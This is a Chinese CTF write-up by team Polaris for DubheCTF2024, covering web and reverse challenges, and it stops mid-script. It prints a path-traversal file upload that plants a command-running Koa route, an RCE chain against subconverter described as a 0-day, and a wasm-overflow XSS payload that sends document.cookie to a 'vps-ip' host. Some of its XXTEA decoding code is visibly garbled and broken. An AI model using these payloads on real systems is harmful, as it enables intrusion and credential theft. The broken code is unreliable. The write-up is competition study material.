DubheCTF2024 Writeup Polaris战队

admin 2024年3月22日17:11:53评论12 views字数 37698阅读125分39秒阅读模式

本次 DubheCTF2024,我们Polaris战队排名第11。

排名

队伍

总分

11

星盟ctf战队

6082.57

12

Lilac

5888.04

13

0xFFF_

5861.78

14

Vidar-Team

5548.11

15

Nepnep

4673.94

16

AuroraSZU

3765

17

0RAYS

3575

18

USTC-NEBULA

3165

19

Dawn

3091.06

20

ukfc

2764

Web

Wecat

存在任意文件上传

覆盖router.js和上传shell.js实现获取flag

注册

DubheCTF2024 Writeup Polaris战队
POST /wechatAPI/sign/success HTTP/1.1Host: 1.95.54.149:portOrigin: http://192.168.0.105:8088Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Accept: application/json, text/plain, */*Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0Referer: http://192.168.0.105:8088/emailCheckAccept-Encoding: gzip, deflateContent-Length: 115{"email":"[email protected]","nickName":"a","trueName":"a","pwd":"xxxx","avatar":"/img/ginger-cat-713.7c864d1a.png"}

登录获取token

POST /wechatAPI/login/pwd HTTP/1.1Host: 1.95.54.149:portAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Referer: http://192.168.0.105:8088/loginAccept-Encoding: gzip, deflateContent-Type: application/jsonAccept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0Origin: http://192.168.0.105:8088Content-Length: 41{"email":"[email protected]","pwd":"xxxx"}

上传文件

POST /wechatAPI/upload/once HTTP/1.1Host: 1.95.54.149:portAuthorization: tokenUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaU8LLb8R1nfXBq68Referer: http://192.168.0.105:8088/homeOrigin: http://192.168.0.105:8088Content-Length: 2400554------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="file"; filename="aaa.js"Content-Type: image/pngconst router = require('@koa/router')()router.get('/wechatAPI/test/shell', async (ctx) => {    const {        cmd    } = ctx.request.body    let resp = require('child_process').execSync("/readflag").toString()    ctx.body = {        resp    }})module.exports = router.routes()------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="name"avatar.js------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="hash"9f48e2ca00d50f12af64629d346064b0------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="postfix"js/../../../../app/src/route/shell.js------WebKitFormBoundaryaU8LLb8R1nfXBq68--
POST /wechatAPI/upload/once HTTP/1.1Host: 1.95.54.149:portAuthorization: tokenUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaU8LLb8R1nfXBq68Referer: http://192.168.0.105:8088/homeOrigin: http://192.168.0.105:8088Content-Length: 2400554------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="file"; filename="aaa.js"Content-Type: image/pngconst router = require('@koa/router')()const commonRouter = require('./commonRouter')const routeAdmin = require('./admin')const routeLogin = require('./login')const routeUpload = require('./upload')const shell = require('./shell')router  .use(routeLogin)  .use(commonRouter)  .use(routeUpload)  .use(routeAdmin)    .use(shell)module.exports = router------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="name"avatar.js------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="hash"9f48e2ca00d50f12af64629d346064b0------WebKitFormBoundaryaU8LLb8R1nfXBq68Content-Disposition: form-data; name="postfix"js/../../../../app/src/route/router.js------WebKitFormBoundaryaU8LLb8R1nfXBq68--

访问路由获取flag

DubheCTF2024 Writeup Polaris战队

Master of Profile

题目描述:

This is a 0-day challenge. I reported this 0day to the official but got nothing reply. So I decided to open this challenge to the public.I believe it is easy for you to get RCE on the latest subconverterYou can easily open an instance using following command

是一个小0day ,直接审源码

参考该篇文章

Subconverter订阅转换RCE漏洞

跟着这篇文章的思路可以看见/qx-script和/convert

这两个读取配置文件的接口被删了,但执行命令的script:还在,所以我们还是打这个洞 需要去找个别的路获取token。

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

我们注意找个路由 然后全局搜索renderTemplate函数

DubheCTF2024 Writeup Polaris战队

发现在这个文件里定义函数就是通过path参数访问文件,那我们想一下:是否可以存在任意文件读取漏洞 去读pref配置文件呢?

DubheCTF2024 Writeup Polaris战队

可以看出pref.ini被转化成yaml 就是pref.yml文件 

我们传入 /render?path=pref.yml 

即可读取了配置信息token。

然后APIMode为false cache为false 

通过updateconf修改配置文件。

DubheCTF2024 Writeup Polaris战队

https://github.com/tindy2013/subconverter/blob/master/README-docker.md

我们可以通过form和direct实现上传

common:  api_mode: true  api_access_token: password  default_url: []  enable_insert: true  insert_url: []  prepend_insert_url: true  exclude_remarks: ["(到期|剩余流量|时间|官网|产品|平台)"]  include_remarks: []  enable_filter: false  filter_script: ""  default_external_config: "" # config/example_external_config.yml  base_path: base  clash_rule_base: base/all_base.tpl  surge_rule_base: base/all_base.tpl  surfboard_rule_base: base/all_base.tpl  mellow_rule_base: base/all_base.tpl  quan_rule_base: base/all_base.tpl  quanx_rule_base: base/all_base.tpl  loon_rule_base: base/all_base.tpl  sssub_rule_base: base/all_base.tpl  singbox_rule_base: base/all_base.tpl  proxy_config: SYSTEM  proxy_ruleset: SYSTEM  proxy_subscription: NONE  append_proxy_type: false  reload_conf_on_request: falseuserinfo:  stream_rule:   - {match: "^剩余流量:(.*?)\|总流量:(.*)$", replace: "total=$2&left=$1"}  - {match: "^剩余流量:(.*?) (.*)$", replace: "total=$1&left=$2"}  - {match: "^Bandwidth: (.*?)/(.*)$", replace: "used=$1&total=$2"}  - {match: "^.*剩余(.*?)(?:\s*?)@(?:.*)$", replace: "total=$1"}  - {match: "^.*?流量:(.*?) 剩:(?:.*)$", replace: "total=$1"}  time_rule:  - {match: "^过期时间:(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)$", replace: "$1:$2:$3:$4:$5:$6"}  - {match: "^到期时间(:|:)(\d+)-(\d+)-(\d+)$", replace: "$1:$2:$3:0:0:0"}  - {match: "^Smart Access expire: (\d+)/(\d+)/(\d+)$", replace: "$1:$2:$3:0:0:0"}  - {match: "^.*?流量:(?:.*?) 剩:(.*?)天$", replace: "left=$1d"}node_pref:#  udp_flag: false#  tcp_fast_open_flag: false#  skip_cert_verify_flag: false#  tls13_flag: false  sort_flag: false  sort_script: ""  filter_deprecated_nodes: false  append_sub_userinfo: true  clash_use_new_field_name: true  clash_proxies_style: flow  singbox_add_clash_modes: true  rename_node:#  - {match: "\(?((x|X)?(\d+)(\.?\d+)?)((\s?倍率?)|(x|X))\)?", replace: "$1x"}#  - {script: "function rename(node){}"}#  - {script: "path:/path/to/script.js"}  - {import: snippets/rename_node.txt}managed_config:  write_managed_config: true  managed_config_prefix: "http://127.0.0.1:25500"  config_update_interval: 86400  config_update_strict: false  quanx_device_id: ""surge_external_proxy:  surge_ssr_path: "" # /usr/bin/ssr-local  resolve_hostname: trueemojis:  add_emoji: true  remove_old_emoji: true  rules:#  - {match: "(流量|时间|应急)", emoji: "🏳️🌈"}#  - {script: "function getEmoji(node){}"}#  - {script: "path:/path/to/script.js"}  - {import: snippets/emoji.txt}rulesets:  enabled: true  overwrite_original_rules: false  update_ruleset_on_request: false  rulesets:#  - {rule: "GEOIP,CN", group: "DIRECT"}#  - {ruleset: "rules/LocalAreaNetwork.list", group: "DIRECT"}#  - {ruleset: "surge:rules/LocalAreaNetwork.list", group: "DIRECT"}#  - {ruleset: "quanx:https://raw.githubusercontent.com/ConnersHua/Profiles/master/Quantumult/X/Filter/Advertising.list", group: "Advertising", interval: 86400}#  - {ruleset: "clash-domain:https://ruleset.dev/clash_domestic_services_domains", group: "Domestic Services", interval: 86400}#  - {ruleset: "clash-ipcidr:https://ruleset.dev/clash_domestic_services_ips", group: "Domestic Services", interval: 86400}#  - {ruleset: "clash-classic:https://raw.githubusercontent.com/DivineEngine/Profiles/master/Clash/RuleSet/China.yaml", group: "DIRECT", interval: 86400}  - {import: snippets/rulesets.txt}proxy_groups:  custom_proxy_group:#  - {name: UrlTest, type: url-test, rule: [".*"], url: http://www.gstatic.com/generate_204, interval: 300, tolerance: 100, timeout: 5}#  - {name: Proxy, type: select, rule: [".*"]}#  - {name: group1, type: select, rule: ["!!GROUPID=0"]}#  - {name: v2ray, type: select, rule: ["!!GROUP=V2RayProvider"]}#  - {import: snippets/groups_forcerule.txt}#  - {name: ssid group, type: ssid, rule: ["default_group", "celluar=group0,ssid1=group1,ssid2=group2"]}  - {import: snippets/groups.txt}template:  template_path: ""  globals:  - {key: clash.http_port, value: 7890}  - {key: clash.socks_port, value: 7891}  - {key: clash.allow_lan, value: true}  - {key: clash.log_level, value: info}  - {key: singbox.allow_lan, value: true}  - {key: singbox.mixed_port, value: 2080}aliases:  - {uri: /v, target: /version}  - {uri: /clash, target: "/sub?target=clash"}  - {uri: /clashr, target: "/sub?target=clashr"}  - {uri: /surge, target: "/sub?target=surge"}  - {uri: /quan, target: "/sub?target=quan"}  - {uri: /quanx, target: "/sub?target=quanx"}  - {uri: /mellow, target: "/sub?target=mellow"}  - {uri: /surfboard, target: "/sub?target=surfboard"}  - {uri: /loon, target: "/sub?target=loon"}  - {uri: /singbox, target: "/sub?target=singbox"}  - {uri: /ss, target: "/sub?target=ss"}  - {uri: /ssd, target: "/sub?target=ssd"}  - {uri: /sssub, target: "/sub?target=sssub"}  - {uri: /ssr, target: "/sub?target=ssr"}  - {uri: /v2ray, target: "/sub?target=v2ray"}  - {uri: /trojan, target: "/sub?target=trojan"}tasks:#  - name: tick#    cronexp: "0/10 * * * * ?"#    path: tick.js#    timeout: 3server:  listen: 0.0.0.0  port: 25500  serve_file_root: ""advanced:  log_level: info  print_debug_info: false  max_pending_connections: 10240  max_concurrent_threads: 2  max_allowed_rulesets: 0  max_allowed_rules: 0  max_allowed_download_size: 0  enable_cache: true  cache_subscription: 60  cache_config: 300  cache_ruleset: 21600  script_clean_context: true  async_fetch_ruleset: false  skip_failed_links: false

这是要更新的配置文件 我们替换

curl -F "[email protected]" http://localhost:25500/updateconf?type=form&token=password
DubheCTF2024 Writeup Polaris战队

然后我们的cache就被改写是true 

接下来我们跟着原来的思路打就行了 

这里贴个视频连接 可能更清楚

https://www.v2ex.com/t/980408

vps写入命令

DubheCTF2024 Writeup Polaris战队

render?path=cache/109b1096e966b911ea781d352f696c80

DubheCTF2024 Writeup Polaris战队

发现我们的命令成功写入缓存 

接下来就是

sub?target=clash&token=password&url=cache/109b1096e966b911ea781d352f696c80

然后访问cache/1

DubheCTF2024 Writeup Polaris战队

发现命令执行结果被带上去了

同理获得flag就行

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

Fastest Encoder

首先在浏览器发现奇怪的代码,查了一下是wasm

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

我们把程序下下来,根据相关文献描述这个可读的格式是wast,需要转为wasm才能分析。

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

发现wasm2c或者是wasm-decomplier生成的代码可读性都很差,使用graphi结合wasm插件查看。

分析后通过ABCDEFG字典找到base64算法,此处已经把未命名的函数重新命名。

DubheCTF2024 Writeup Polaris战队

确认base64是在wasm虚拟机中实现的。寻找wasm与js的交互方式。

发现是react构建的js页面。

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

根据wasm源文件找到wasm runtime创建处。

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

确定了输入输出,一个是_一个是j

_ = it=>et.FastBase64(it, 0),j = it=>et.FastBase64(it, 1),

结合上下文可以猜测d是输出的渲染函数,可以知道如果报错了就不会输出base64加密后的字符串。

DubheCTF2024 Writeup Polaris战队

输入2000个0,用js在控制台生成,'0'.repeat(2000),输入后果然没有显示。

DubheCTF2024 Writeup Polaris战队

我们确定了字符串的渲染是函数d完成的,来考察xss。

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

可以确定渲染的位置实质上是变量h。

确认了渲染的全部流程。

DubheCTF2024 Writeup Polaris战队

我们来考察react的xss防御。

DubheCTF2024 Writeup Polaris战队

不存在拼接,所以绕不过react内置的xss防御。

转换思路研究wasm。

DubheCTF2024 Writeup Polaris战队

发现wasm里面执行函数也是可以改变前端的。

阅读文献发现,wasm跟传统的汇编语言不同,代码和数据分离,维持一个程序代码栈和数据栈,所以无法直接劫持函数指针RIP。

论文指出wasm有三种漏洞形式。

(i) obtaining a write primitive, i.e., the ability to write memory locations in violation of sourcelevel semantics; (ii) overwriting security-relevant data, e.g., constants or data on the stack and heap; and (iii) triggering a malicious action by diverging control flow or manipulating the host environment.

(i) 获得写入原语,即违反源级语义写入存储器位置的能力;(ii)重写与安全相关的数据,例如堆栈和堆上的常数或数据;以及(iii)通过分散控制流或操纵主机环境来触发恶意动作。

之前超长字符的报错提示其实是溢出点,来到相关代码段。

DubheCTF2024 Writeup Polaris战队
DubheCTF2024 Writeup Polaris战队

根据helloworld解读,判断代码功能。

DubheCTF2024 Writeup Polaris战队

载入1008大小的内存到$var15上。

根据wasm线性内存特点确定内存溢出方向,往高地址溢出。

DubheCTF2024 Writeup Polaris战队

但是劫持不了EIP溢出有什么用呢?

wasm增加安全特性by strictly separating code and data, enforcing types, and limiting indirect control flow,通过严格分离代码和数据,强制类型,并限制间接控制流

溢出根本不能影响RIP。

了解第三种漏洞类型劫持程序控制流,文献提到wasm将函数写入一个表,通过表索引调用函数,而表索引来自于栈上,所以可以改变该数据篡改调用流程。

大概原理就是call_indirect指令调用时会从栈上读取函数表的索引,fuzz测出js执行函数在3的位置,然后var15覆盖了最上面的索引。

调试确定栈上情况,构造payload成功执行。

DubheCTF2024 Writeup Polaris战队
let cmd = 'document.location.href="http://vps-ip:port/?x="+document.cookie;alert(1);//';let padding = '%02'.repeat(1008 - cmd.length);let tableIndex = '%03';let isValid = (cmd + decodeURIComponent(padding) + decodeURIComponent(tableIndex)).length == 1008 + 1;if(isValid){  console.log(encodeURIComponent(cmd) + padding + tableIndex);}else {  console.log('Wrong calculation again...')}
DubheCTF2024 Writeup Polaris战队

Reverse

Destination

反调试很多,这里x64dbg插件过了

这里直接x64dbg trace

trace完使用下面脚本过滤掉花指令混淆的东西

with open('./log_1.txt','rb+') as f:    for line_1 in f:        if b"call" in line_1 or b"[esp" in line_1 or b"je" in line_1 or b"ret" in line_1 or b"jmp" in line_1 or b"jne" in line_1:            pass        else:            print(line_1)
DubheCTF2024 Writeup Polaris战队
push ebp                    push ebp                    mov ebp,esp                 sub esp,10C                 push ebx                    push esi                    push edi                    mov dword ptr ss:[ebp-8],32 mov dword ptr ss:[ebp-44],0 mov eax,4                   imul ecx,eax,B              mov edx,dword ptr ds:[ecx+4234mov dword ptr ss:[ebp-38],edx mov eax,dword ptr ss:[ebp-44] sub eax,5B4B9F9E            mov dword ptr ss:[ebp-44],eax mov eax,dword ptr ss:[ebp-44] shr eax,2                   and eax,3                   mov dword ptr ss:[ebp-20],eax mov dword ptr ss:[ebp-14],0 cmp dword ptr ss:[ebp-14],B jae destination.416302      mov eax,dword ptr ss:[ebp-14] mov ecx,dword ptr ds:[eax*4+42mov dword ptr ss:[ebp-2C],ecx mov eax,dword ptr ss:[ebp-38] shr eax,5                   mov ecx,dword ptr ss:[ebp-2C] shl ecx,2                   xor eax,ecx                 mov edx,dword ptr ss:[ebp-2C] shr edx,3                   mov ecx,dword ptr ss:[ebp-38] shl ecx,4                   xor edx,ecx                 add eax,edx                 mov edx,dword ptr ss:[ebp-44] xor edx,dword ptr ss:[ebp-2C] mov ecx,dword ptr ss:[ebp-14] and ecx,3                   xor ecx,dword ptr ss:[ebp-20] mov ecx,dword ptr ds:[ecx*4+42xor ecx,dword ptr ss:[ebp-38] add edx,ecx                 xor eax,edx                 mov edx,dword ptr ss:[ebp-14] mov ecx,dword ptr ds:[edx*4+42add ecx,eax                 mov dword ptr ss:[ebp-10C],ecxmov edx,dword ptr ss:[ebp-14] mov eax,dword ptr ss:[ebp-10C]mov dword ptr ds:[edx*4+4234A8mov ecx,dword ptr ss:[ebp-10C]mov dword ptr ss:[ebp-38],ecx mov eax,dword ptr ss:[ebp-14] add eax,1                   mov dword ptr ss:[ebp-14],eax cmp dword ptr ss:[ebp-14],B jae destination.416302

调试多次后还原出代码

void btea(uint32_t* v, int n, uint32_t  key[4], unsigned round1){    uint32_t y, z, sum;    unsigned p, rounds, e;    if (n > 1)            /* Coding Part */    {        rounds = round1;        sum = 0;        z = v[n - 1];        do        {            sum -= DELTA;            e = (sum >> 2) & 3;            for (p = 0; p < 0xB; p++)            {                y = v

;                z = v

+= MX;            }            y = v[0];            z = v[n - 1] += MX;        } while (--rounds);    }    else if (n < -1)      /* Decoding Part */    {        n = -n;        rounds = round1;        sum = 0-rounds * DELTA;        y = v[0];        do        {            e = (sum >> 2) & 3;            for (p = 0xB; p > 0; p--)            {                z = v

;                y = v

-= MX;            }            z = v[n - 1];            y = v[0] -= MX;            sum += DELTA;        } while (--rounds);    }}

后面有个类似crc校验的

void fdec(){    uint32_t dq_key = 0x84A6972F;    BYTE flag[60] = {          0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84,  0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D,  0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1,  0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4,  0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D    }; //密文    uint32_t p;    int j, i;    for (i = 0; i < 12; i++)    {        p = *((uint32_t*)&flag[i * 4]);        for (j = 0; j < 32; j++)        {            if (p & 1)             {                p = ((uint32_t)p ^ dq_key) >> 1;                 p |= 0x80000000;            }            else            {                p = ( uint32_t)p >> 1;             }        }        *((uint32_t*)&flag[i * 4]) = p;     }    for (i = 0; i < 48; i++)        printf("0x%x,", flag[i]&0xff);    printf("n");    return;}
#include<stdio.h>#include"defs.h"#include <stdio.h>#include <stdint.h>#define DELTA 0x5B4B9F9E#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))void btea(uint32_t* v, int n, uint32_t  key[4], unsigned round1){    uint32_t y, z, sum;    unsigned p, rounds, e;    if (n > 1)            /* Coding Part */    {        rounds = round1;        sum = 0;        z = v[n - 1];        do        {            sum -= DELTA;            e = (sum >> 2) & 3;            for (p = 0; p < 0xB; p++)            {                y = v

;                z = v

+= MX;            }            y = v[0];            z = v[n - 1] += MX;        } while (--rounds);    }    else if (n < -1)      /* Decoding Part */    {        n = -n;        rounds = round1;        sum = 0-rounds * DELTA;        y = v[0];        do        {            e = (sum >> 2) & 3;            for (p = 0xB; p > 0; p--)            {                z = v

;                y = v

-= MX;            }            z = v[n - 1];            y = v[0] -= MX;            sum += DELTA;        } while (--rounds);    }}void fdec();uint32_t* v;void sub_413F60();int main(){   //char input[48] = "111122223333444411112222333344441111222233334";  // char input[] = { 11, 66, 240, 167, 71, 165, 248, 92, 23, 156, 242, 251, 202, 117, 10, 70, 137, 29, 188, 160, 72, 21, 241, 155, 18, 30, 227, 231, 98, 202, 36, 85, 187, 59, 61, 194, 117, 10, 164, 238, 113, 244, 219, 55, 208, 81, 47, 133 };    char input[] = { 0x43,0x95,0x54,0x9e,0x48,0xb3,0x7c,0x5e,0x2f,0x4a,0xa8,0xd9,0xde,0x99,0xeb,0x85,0x84,0x58,0x82,0xb6,0xa1,0x4e,0xf7,0xc4,0x8a,0x82,0xb1,0x22,0x96,0x72,0xd,0x29,0x73,0xe4,0x8e,0x19,0x29,0xb5,0x55,0x96,0x6a,0x19,0xac,0x38,0x36,0x62,0x2b,0x19, 0};    uint32_t v1[]={ 2293840806, 3409349342, 3028656766, 2246810078, 3061995652, 3304541857, 582058634, 3885371053, 4144997605, 2405989420, 950802794, 422273590 };    v=(uint32_t*)& input;    unsigned int key[4] = {    0x6B0E7A6B, 0xD13011EE, 0xA7E12C6D, 0xC199ACA6    };    int n = 12;    btea(v,-n, key,50);    btea(v, -n, key, 50);    puts((char*)v);    //sub_413F60();    // fdec();    return 0;}void sub_413F60(){    char data[] = { 11, 66, 240, 167, 71, 165, 248, 92, 23, 156, 242, 251, 202, 117, 10, 70, 137, 29, 188, 160, 72, 21, 241, 155, 18, 30, 227, 231, 98, 202, 36, 85, 187, 59, 61, 194, 117, 10, 164, 238, 113, 244, 219, 55, 208, 81, 47, 133 };    uint32_t* s=(uint32_t*)&data;    uint32_t tmp = 0x84A6972F;    for (int i = 0; i < 12; i++)    {        uint32_t  input_1 = s[i];        for (int j = 0; j < 32; j++)        {            uint32_t v1 = input_1;            v1 <<= 1;            if (input_1 < 0)            {                input_1 = tmp ^ v1;            }            else{                input_1 = v1;            }        }        printf("%xn", input_1);    }}void fdec(){    uint32_t dq_key = 0x84A6972F;    BYTE flag[60] = {          0xD6, 0xFA, 0x90, 0xA7, 0x77, 0xA2, 0xC8, 0xE8, 0xFA, 0x84,  0x03, 0xCF, 0xD7, 0x7F, 0x6C, 0x2E, 0x8B, 0x96, 0x33, 0x6D,  0x27, 0xC2, 0x57, 0x5B, 0x5E, 0xA6, 0x3C, 0x65, 0xFC, 0xF1,  0xC6, 0x85, 0x77, 0x25, 0xF3, 0xE1, 0x76, 0xAE, 0xD7, 0xD4,  0xC4, 0x6D, 0xAF, 0x3F, 0x8C, 0x9D, 0x59, 0x0D    }; //密文    uint32_t p;    int j, i;    for (i = 0; i < 12; i++)    {        p = *((uint32_t*)&flag[i * 4]);        for (j = 0; j < 32; j++)        {            if (p & 1)            {                p = ((uint32_t)p ^ dq_key) >> 1;                p |= 0x80000000;            }            else            {                p = ( uint32_t)p >> 1;            }        }        *((uint32_t*)&flag[i * 4]) = p;    }    for (i = 0; i < 48; i++)        printf("0x%x,", flag[i]&0xff);    printf("n");    return;}

fragment

jadx导出工程,这里是要到Congratulations这里,

2个按钮分为向左向右走

最终走到Congratulations这里

类似迷宫题

写一个脚本追踪一下路径

import osimport re# 指定要遍历的目录路径directory = "./java/p013II111"good_name='sub_0.java'bad_name=['eh0.java','q70.java']# C0116Oo0o0 sub_0.javastart='MainActivity.java'def read_java(name):    java_file_path = name    try:        with open(java_file_path, 'rb') as file:            return file.read();    except FileNotFoundError:        print("File not found.")    except IOError:        print("Error reading the file.")def get_next_file_name(context):    pattern = r", (w+).class"    x = re.findall(pattern.encode(), context)    #print(x)    b=[(i+b'.java').decode() for i in x]    a_=b    for i in range(len(b)):        for j in range(len(b)):            if b[i]==b[j] and i!=j:                 a_=[]    return a_def get_next_road(name,path):    for root, dirs, files in os.walk(directory):        for file in files:            if file.endswith(".java"):                # 如果文件是以 .java 结尾的,则打印文件路径                #print(file)                if file == name:                    x=(os.path.join(root, file).replace('\','/'))                    data=read_java(x)                    name1=get_next_file_name(data)                    for i in name1:                        if good_name==i:                            print('found')                            print(path+i)                        elif i in bad_name:                            pass                        else:                            #print(path+i)                            get_next_road(i,path+' '+i+' ')path='MainActivity.java'get_next_road('MainActivity.java',path) 
foundMainActivity.java C0106Oo0o0.java  y6.java  re.java  yf.java  fh.java  mi.java  tj.java  al.java  hm.java  on.java  C0108O0ooO.java  C0095O0ooO.java  C0123o0Ooo.java  h.java  o0.java  v1.java  c3.java  j4.java  q5.java  x6.java  h8.java  o9.java  va.java  cc.java  jd.java  ee.java  he.java  ke.java  ne.java  qe.java  we.java  ze.java  cf.java  ff.java  Cif.java  lf.java  of.java  rf.java  uf.java  xf.java  dg.java  gg.java  jg.java  mg.java  pg.java  sg.java  vg.java  yg.java  bh.java  eh.java  kh.java  nh.java  qh.java  th.java  wh.java  zh.java  ci.java  fi.java  ii.java  li.java  ri.java  ui.java  xi.java  aj.java  dj.java  gj.java  jj.java  mj.java  pj.java  sj.java  yj.java  bk.java  ek.java  hk.java  kk.java  nk.java  qk.java  tk.java  wk.java  zk.java  fl.java  C0121il.java  ll.java  ol.java  rl.java  ul.java  xl.java  am.java  dm.java  gm.java  mm.java  pm.java  sm.java  vm.java  ym.java  bn.java  en.java  hn.java  kn.java  nn.java  C0101OoOOO.java  C0107O0OOo.java  C0115OoOoo.java  C0092Il1.java  C0125oo00O.java  C0149ooO00.java  C0163oOO00.java  C0128o00OO.java  C0099Ooo0O.java  I11I.java  I11.java  C0116Ooo00.java  C0100O0O0o.java  C0096OOoOo.java  Il111.java  II1l.java  C0119O0OoO.java  C0134oOo0o.java  C0154oOo0O.java  C0131ooOoo.java  IlIl.java  l1lI.java  I111.java  C0143oooo0.java  lIII.java  C0152oo0o0.java  C0160oOooo.java  O0000.java  C0150o0O0o.java  C0111OO00O.java  lll.java  C0097OooOo.java  ll1I.java  oO000.java  C0144oOo0o.java  C0148oOOO0.java  C0142oooOo.java  a.java  d.java  g.java  m.java  p.java  s.java  v.java  y.java  b0.java  e0.java  h0.java  k0.java  n0.java  t0.java  w0.java  z0.java  c1.java  f1.java  i1.java  l1.java  o1.java  r1.java  u1.java  a2.java  d2.java  g2.java  j2.java  m2.java  p2.java  s2.java  v2.java  y2.java  b3.java  h3.java  k3.java  n3.java  q3.java  t3.java  w3.java  z3.java  c4.java  f4.java  i4.java  o4.java  r4.java  u4.java  x4.java  a5.java  d5.java  g5.java  j5.java  m5.java  p5.java  v5.java  y5.java  b6.java  e6.java  h6.java  k6.java  n6.java  q6.java  t6.java  w6.java  f7.java  i7.java  l7.java  o7.java  r7.java  u7.java  x7.java  a8.java  d8.java  g8.java  m8.java  p8.java  s8.java  v8.java  y8.java  b9.java  e9.java  h9.java  k9.java  n9.java  t9.java  w9.java  z9.java  ca.java  fa.java  ia.java  sub33.java  sub32.java  sub31.java  sub30.java  sub29.java  sub28.java  sub27.java  sub26.java  sub25.java  sub24.java  sub23.java  sub22.java  sub21.java  sub20.java  sub19.java  sub18.java  sub17.java  sub16.java  sub15.java  sub14.java  sub13.java  sub12.java  sub11.java  sub10.java  sub8.java  sub7.java  sub5.java  sub4.java  sub3.java  sub_1.java sub_0.java
import osimport re# 指定要遍历的目录路径directory = "./java/p013II111"call_list=['MainActivity.java', 'C0106Oo0o0.java', 'y6.java', 're.java', 'yf.java', 'fh.java', 'mi.java', 'tj.java', 'al.java', 'hm.java', 'on.java', 'C0108O0ooO.java', 'C0095O0ooO.java', 'C0123o0Ooo.java', 'h.java', 'o0.java', 'v1.java', 'c3.java', 'j4.java', 'q5.java', 'x6.java', 'h8.java', 'o9.java', 'va.java', 'cc.java', 'jd.java', 'ee.java', 'he.java', 'ke.java', 'ne.java', 'qe.java', 'we.java', 'ze.java', 'cf.java', 'ff.java', 'Cif.java', 'lf.java', 'of.java', 'rf.java', 'uf.java', 'xf.java', 'dg.java', 'gg.java', 'jg.java', 'mg.java', 'pg.java', 'sg.java', 'vg.java', 'yg.java', 'bh.java', 'eh.java', 'kh.java', 'nh.java', 'qh.java', 'th.java', 'wh.java', 'zh.java', 'ci.java', 'fi.java', 'ii.java', 'li.java', 'ri.java', 'ui.java', 'xi.java', 'aj.java', 'dj.java', 'gj.java', 'jj.java', 'mj.java', 'pj.java', 'sj.java', 'yj.java', 'bk.java', 'ek.java', 'hk.java', 'kk.java', 'nk.java', 'qk.java', 'tk.java', 'wk.java', 'zk.java', 'fl.java', 'C0121il.java', 'll.java', 'ol.java', 'rl.java', 'ul.java', 'xl.java', 'am.java', 'dm.java', 'gm.java', 'mm.java', 'pm.java', 'sm.java', 'vm.java', 'ym.java', 'bn.java', 'en.java', 'hn.java', 'kn.java', 'nn.java', 'C0101OoOOO.java', 'C0107O0OOo.java', 'C0115OoOoo.java', 'C0092Il1.java', 'C0125oo00O.java', 'C0149ooO00.java', 'C0163oOO00.java', 'C0128o00OO.java', 'C0099Ooo0O.java', 'I11I.java', 'I11.java', 'C0116Ooo00.java', 'C0100O0O0o.java', 'C0096OOoOo.java', 'Il111.java', 'II1l.java', 'C0119O0OoO.java', 'C0134oOo0o.java', 'C0154oOo0O.java', 'C0131ooOoo.java', 'IlIl.java', 'l1lI.java', 'I111.java', 'C0143oooo0.java', 'lIII.java', 'C0152oo0o0.java', 'C0160oOooo.java', 'O0000.java', 'C0150o0O0o.java', 'C0111OO00O.java', 'lll.java', 'C0097OooOo.java', 'll1I.java', 'oO000.java', 'C0144oOo0o.java', 'C0148oOOO0.java', 'C0142oooOo.java', 'a.java', 'd.java', 'g.java', 'm.java', 'p.java', 's.java', 'v.java', 'y.java', 'b0.java', 'e0.java', 'h0.java', 'k0.java', 